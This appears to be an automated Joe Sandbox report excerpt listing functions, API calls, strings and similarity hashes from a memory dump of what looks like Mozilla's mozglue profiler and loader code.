strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C63CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C63CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C63CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C63CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C63CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C63CE8A

Strings

fileio, xrefs: 6C63CC92
Unrecognized feature "%s"., xrefs: 6C63CEA0
noiostacks, xrefs: 6C63CCBE
markersallthreads, xrefs: 6C63CE42
default, xrefs: 6C63CC21
seqstyle, xrefs: 6C63CCE6
processcpu, xrefs: 6C63CE6E
notimerresolutionchange, xrefs: 6C63CE00
nativeallocations, xrefs: 6C63CDA8
ipcmessages, xrefs: 6C63CDBE
fileioall, xrefs: 6C63CCA8
mainthreadio, xrefs: 6C63CC7C
java, xrefs: 6C63CC37
samplingallthreads, xrefs: 6C63CE2C
stackwalk, xrefs: 6C63CCF8
screenshots, xrefs: 6C63CCD4
preferencereads, xrefs: 6C63CD92
unregisteredthreads, xrefs: 6C63CE58
power, xrefs: 6C63CE84
cpuallthreads, xrefs: 6C63CE16
leaf, xrefs: 6C63CC66
nostacksampling, xrefs: 6C63CD7C
audiocallbacktracing, xrefs: 6C63CDD4
jsallocations, xrefs: 6C63CD0E

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 33773cb5c82763134d5eb07059fba68b5c45a0a95a046aa21a34543a43589823
Instruction ID: 58e0504400a6ff802a0a3708cf858c1f8fd179d23857f68f301b404b78a8de96
Opcode Fuzzy Hash: 33773cb5c82763134d5eb07059fba68b5c45a0a95a046aa21a34543a43589823
Instruction Fuzzy Hash: E85155D194567572FE0231166D20BAA1485EF5334AF10763AFE1FA1E80FF05960AC9BF

Function 6C6047E6 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 220threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C604801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C604817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C60482D
__Init_thread_footer.LIBCMT ref: 6C60484A

Part of subcall function 6C62AB3F: EnterCriticalSection.KERNEL32(6C67E370,?,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB49
Part of subcall function 6C62AB3F: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62AB7C

GetCurrentThreadId.KERNEL32 ref: 6C60485F
GetCurrentThreadId.KERNEL32 ref: 6C60487E
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60488B
free.MOZGLUE(?), ref: 6C60493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C604956
free.MOZGLUE(00000000), ref: 6C604960
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60499A
free.MOZGLUE(?), ref: 6C6049C6

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C604828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C604812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C604A42
[I %d/%d] profiler_shutdown, xrefs: 6C604A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6047FC

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 168835990f753515f5cfa01bf47e1636deb04c0e4d2cbf3a6ddd833d0b9d7dc7
Instruction ID: 979e02eac090d4fd9042abae5b93124b6ec5ff1efc29798f1ba8088be96aa468
Opcode Fuzzy Hash: 168835990f753515f5cfa01bf47e1636deb04c0e4d2cbf3a6ddd833d0b9d7dc7
Instruction Fuzzy Hash: E5811770B041108BDB2CDF29CA84B6A3771BF52318F140A39D916A7B46D7B1D855CBAE

Function 6C604470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C604730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6044B2,6C67E21C,6C67F7F8), ref: 6C60473E
Part of subcall function 6C604730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C60474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6044BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6044D2
InitOnceExecuteOnce.KERNEL32(6C67F80C,6C5FF240,?,?), ref: 6C60451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C60455C
LoadLibraryW.KERNEL32(?), ref: 6C604592
InitializeCriticalSection.KERNEL32(6C67F770), ref: 6C6045A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6045AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6045BB
InitOnceExecuteOnce.KERNEL32(6C67F818,6C5FF240,?,?), ref: 6C604612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C604636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C604644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C60466D
VerSetConditionMask.NTDLL ref: 6C60469F
VerSetConditionMask.NTDLL ref: 6C6046AB
VerSetConditionMask.NTDLL ref: 6C6046B2
VerSetConditionMask.NTDLL ref: 6C6046B9
VerSetConditionMask.NTDLL ref: 6C6046C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6046CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6046F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6046FD

Strings

kernel32.dll, xrefs: 6C6044CD
user32.dll, xrefs: 6C604557, 6C60463F
NativeNtBlockSet_Write, xrefs: 6C6046F7
Ggl, xrefs: 6C6044FC
l, xrefs: 6C604578
WRusr.dll, xrefs: 6C6044B5

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Ggl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2544451872
Opcode ID: e82d4212d37f90767fc7d9fdf5c7dc24667eb3e3673f5c34c0424560c1afe17e
Instruction ID: 78fb9482df30e09af7817960f958dd5f7dcac8000179be6fd1052aef09b30c5a
Opcode Fuzzy Hash: e82d4212d37f90767fc7d9fdf5c7dc24667eb3e3673f5c34c0424560c1afe17e
Instruction Fuzzy Hash: 90612AB07043149FEB2A8F62CD89FA577B8EB92308F048858E504AB641D7F58945CF7E

Function 6C63F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C63F8F9

Part of subcall function 6C606390: GetCurrentThreadId.KERNEL32 ref: 6C6063D0
Part of subcall function 6C606390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6063DF
Part of subcall function 6C606390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C60640E

ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F93A
GetCurrentThreadId.KERNEL32 ref: 6C63F98A
GetCurrentThreadId.KERNEL32 ref: 6C63F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F716

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

Part of subcall function 6C5FB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5FB5E0

GetCurrentThreadId.KERNEL32 ref: 6C63F739
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F746
GetCurrentThreadId.KERNEL32 ref: 6C63F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C67385B,00000002,?,?,?,?,?), ref: 6C63F829
free.MOZGLUE(?,?,00000000,?), ref: 6C63F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C63F866
free.MOZGLUE(?), ref: 6C63FA0C

Part of subcall function 6C605E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C605E8C
Part of subcall function 6C605E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605E9D
Part of subcall function 6C605E60: GetCurrentThreadId.KERNEL32 ref: 6C605EAB
Part of subcall function 6C605E60: GetCurrentThreadId.KERNEL32 ref: 6C605EB8
Part of subcall function 6C605E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605ECF
Part of subcall function 6C605E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C605F27
Part of subcall function 6C605E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C605F47
Part of subcall function 6C605E60: GetCurrentProcess.KERNEL32 ref: 6C605F53
Part of subcall function 6C605E60: GetCurrentThread.KERNEL32 ref: 6C605F5C
Part of subcall function 6C605E60: GetCurrentProcess.KERNEL32 ref: 6C605F66
Part of subcall function 6C605E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C605F7E

free.MOZGLUE(?), ref: 6C63F9C5
free.MOZGLUE(?), ref: 6C63F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C63F71F
Thread , xrefs: 6C63F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C63F9A6
" attempted to re-register as ", xrefs: 6C63F858

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: d89b1fb91a280bfc0ceed66f4c606c33b7d11351d4e2320976f3764ee07fbdc1
Instruction ID: 2fc213278edb15c074afbd4b16438f9f17150e4473d8af1f600c9ba158806ba6
Opcode Fuzzy Hash: d89b1fb91a280bfc0ceed66f4c606c33b7d11351d4e2320976f3764ee07fbdc1
Instruction Fuzzy Hash: DB812770A043109FDB15DF25C880AAAB7B5EFC5308F54586DE84997B51EB30D849CFAB

Function 6C63EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63EE60
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EE6D
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C63EEA5
CloseHandle.KERNEL32(?), ref: 6C63EEB4
free.MOZGLUE(00000000), ref: 6C63EEBB
GetCurrentThreadId.KERNEL32 ref: 6C63EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63EECF

Part of subcall function 6C63DE60: GetCurrentThreadId.KERNEL32 ref: 6C63DE73
Part of subcall function 6C63DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C66FEF3,?,?,?,?,?,?,00000000), ref: 6C63DE7B
Part of subcall function 6C63DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000), ref: 6C63DEB8
Part of subcall function 6C63DE60: free.MOZGLUE(00000000), ref: 6C63DEFE
Part of subcall function 6C63DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C63DF38

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

GetCurrentThreadId.KERNEL32 ref: 6C63EF1E
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EF2B
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EF59
GetCurrentThreadId.KERNEL32 ref: 6C63EFB0
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EFBD
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EFE1
GetCurrentThreadId.KERNEL32 ref: 6C63EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F000

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F02F

Part of subcall function 6C63F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C63F09B
Part of subcall function 6C63F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C63F0AC
Part of subcall function 6C63F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C63F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C63EED7
[I %d/%d] profiler_pause, xrefs: 6C63F008

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 40596666866c4a4cfe934fc6c0e58af36dc0563228f1f3a03aa17809631e939d
Instruction ID: 3c52072c0cc5378fa5c480481d5e7accc98c7cb1b3ac08d0878bd0d8864db0fb
Opcode Fuzzy Hash: 40596666866c4a4cfe934fc6c0e58af36dc0563228f1f3a03aa17809631e939d
Instruction Fuzzy Hash: D85128316042309FDB195F66D488B997BB4EF87358F201D19EA1983B86CB744815CBBF

Function 6C607FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C608007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C60801D

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C60802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C60803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C60808D

Part of subcall function 6C60CA10: mozalloc_abort.MOZGLUE(?), ref: 6C60CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C60809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6080B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6080DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6080ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6080FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C608133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C608149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C608167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C60817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C608199

Strings

0>cl, xrefs: 6C60811E

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>cl
API String ID: 2721933968-4115593776
Opcode ID: 6a6c7cb656f9e682f3b1ea7e1dba89ab40213fc96b6ba25ba0f44517c7c4a97b
Instruction ID: 532e3e25f2acfb15049b3233735797ebea6e144a13129e26719f081390f4211f
Opcode Fuzzy Hash: 6a6c7cb656f9e682f3b1ea7e1dba89ab40213fc96b6ba25ba0f44517c7c4a97b
Instruction Fuzzy Hash: C851A3B1E00214ABDB04DFA9DD84AEFB7B9AF49324F140125E815F7751E730A9058BA9

Function 6C609590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5F31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5F3217
Part of subcall function 6C5F31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5F3236
Part of subcall function 6C5F31C0: FreeLibrary.KERNEL32 ref: 6C5F324B
Part of subcall function 6C5F31C0: __Init_thread_footer.LIBCMT ref: 6C5F3260
Part of subcall function 6C5F31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5F327F
Part of subcall function 6C5F31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F328E
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F32AB
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F32D1
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F32E5
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C609675
__Init_thread_footer.LIBCMT ref: 6C609697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C609707
__Init_thread_footer.LIBCMT ref: 6C60971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6097B7
FreeLibrary.KERNEL32 ref: 6C6097D0
FreeLibrary.KERNEL32 ref: 6C6097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609824

Strings

MapViewOfFileNuma2, xrefs: 6C6097B1
ntdll.dll, xrefs: 6C6096E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C609670
NtMapViewOfSection, xrefs: 6C609701

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 4e7c213e888679a7652b19c3708de9357fd5b34ef9bcb603f971f84825aa55e5
Instruction ID: a4bbe75046e1ce87557d64e3b2f38963110b8bec4394faa609fd6778498bd84b
Opcode Fuzzy Hash: 4e7c213e888679a7652b19c3708de9357fd5b34ef9bcb603f971f84825aa55e5
Instruction Fuzzy Hash: 3961E2717002119BDF0A8F66E9D8F9A7BB1FB8A319F104919E91593780D7349844CFBA

Function 6C656660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C67F618), ref: 6C656694
GetThreadId.KERNEL32(?), ref: 6C6566B1
GetCurrentThreadId.KERNEL32 ref: 6C6566B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6566E1
EnterCriticalSection.KERNEL32(6C67F618), ref: 6C656734
GetCurrentProcess.KERNEL32 ref: 6C65673A
LeaveCriticalSection.KERNEL32(6C67F618), ref: 6C65676C
GetCurrentThread.KERNEL32 ref: 6C6567FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C656868
RtlCaptureContext.NTDLL ref: 6C65687F

Strings

WalkStack64, xrefs: 6C656890

Memory Dump Source

